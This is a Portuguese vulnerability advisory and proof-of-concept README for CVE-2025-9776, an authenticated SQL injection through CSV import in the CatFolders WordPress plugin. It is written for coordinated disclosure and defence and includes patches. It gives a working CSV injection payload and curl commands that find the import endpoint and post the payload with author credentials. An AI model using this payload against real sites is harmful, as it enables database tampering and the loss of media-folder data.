
CVE-2025-9776 — Plugin CatFolders para WordPress: Injeção SQL Autenticada via Importação CSV | POC + Passo a Passo
Palavras-chave: CVE-2025-9776, vulnerabilidade do CatFolders WordPress, SQL injection no WordPress, SQL injection autenticada, segurança WordPress, vulnerabilidade de importação CSV, exploit de plugin WordPress, CWE-89, ataque a banco de dados WordPress, vulnerabilidade da biblioteca de mídia, WordPress CVE 2025
Uma vulnerabilidade de injeção SQL autenticada foi descoberta no plugin CatFolders WordPress que permite que usuários de nível Autor manipulem consultas de banco de dados por meio de importações CSV maliciosas.
Descoberto por: Kai Aizen (SnailSploit)
Publicado: 2025
Pontuação CVSS: 6.5 (Médio)
CWE: CWE-89 - Injeção SQL
CatFolders – Domine Sua Biblioteca de Mídia WordPress por Categoria contém uma vulnerabilidade de injeção SQL autenticada na funcionalidade de importação CSV. A coluna attachments de um CSV fornecido pelo usuário é dividida em uma lista e passada diretamente para FolderModel::set_attachments() que concatena esses valores em cláusulas SQL IN (...) brutas, sem sanitização ou parametrização adequadas.
Esta vulnerabilidade permite que atacantes autenticados com privilégios de nível Autor para:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
A vulnerabilidade existe no fluxo de trabalho de importação CSV:
Arquivo: includes/Rest/Controllers/ImportController.php
import_csv analisa o CSV enviado sem sanitização por camporestore_folders() chama:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
Arquivo: includes/Models/FolderModel.php
set_attachments() constrói SQL bruta usando concatenação de strings:'raw' => 'post_id IN (' . $attachmentIds . ')'
Um atacante com privilégios de nível Autor (capacidade upload_files) pode injetar SQL malicioso através do endpoint de importação CSV:
Payload CSV malicioso:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
Consulta vulnerável resultante:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
Isso sai da cláusula IN(...) e altera a semântica da consulta, potencialmente afetando todas as linhas.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
Resultado típico: /catf/v1/import-csv
Crie um arquivo chamado catf_inject.csv:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # Substitua pelo namespace descoberto
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
Resposta esperada:
{ "success": true }
O servidor constrói e executa:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
Isso pode realizar operações DELETE/INSERT mais amplas do que o pretendido, muitas vezes limpando os relacionamentos pasta-anexo em todo o banco de dados.
Execute a simulação SQLite independente para observar a vulnerabilidade com segurança:
python3 poc/catfolders_sql_poc.py
Isso imprime a consulta vulnerável e demonstra como um token malicioso retorna todas as linhas, enquanto uma versão parametrizada o rejeita corretamente.
Ação Imediata Necessária:
Duas etapas mínimas de endurecimento:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
Substituir toda concatenação SQL bruta por consultas parametrizadas usando $wpdb->prepare() do WordPress:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
Adicionalmente:
Um patch completo está disponível em patch/catfolders_fix.patch
CVE-2025-9776/
├── README.md # Este arquivo
├── poc/
│ ├── catf_inject.csv # Payload CSV malicioso
│ └── catfolders_sql_poc.py # Simulação SQLite segura
└── patch/
└── catfolders_fix.patch # Correções recomendadas
Pesquisador: Kai Aizen (SnailSploit)
Processo de Divulgação: Coordenado através do Programa de Bug Bounty da Wordfence
⚠️ AVISO IMPORTANTE
Esta Prova de Conceito é fornecida exclusivamente para fins de pesquisa defensiva e educacional.
O acesso não autorizado a sistemas de computador é ilegal sob leis incluindo:
Use por sua conta e risco. Os pesquisadores e SnailSploit não assumem responsabilidade pelo uso indevido destas informações.
Para perguntas ou informações adicionais sobre esta vulnerabilidade:
Mantenha-se seguro e mantenha suas instalações WordPress atualizadas!
Última atualização: 13 de outubro de 2025
O texto completo deste projeto, metodologia e pesquisas relacionadas estão disponíveis em:
https://snailsploit.com/security-research/cves/cve-2025-9776/
Criado por Kai Aizen — pesquisador independente de segurança ofensiva.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Mesmo ataque. Substrato diferente.
| Métrica | Valor |
|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) - Author+ |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | Low (A:L) |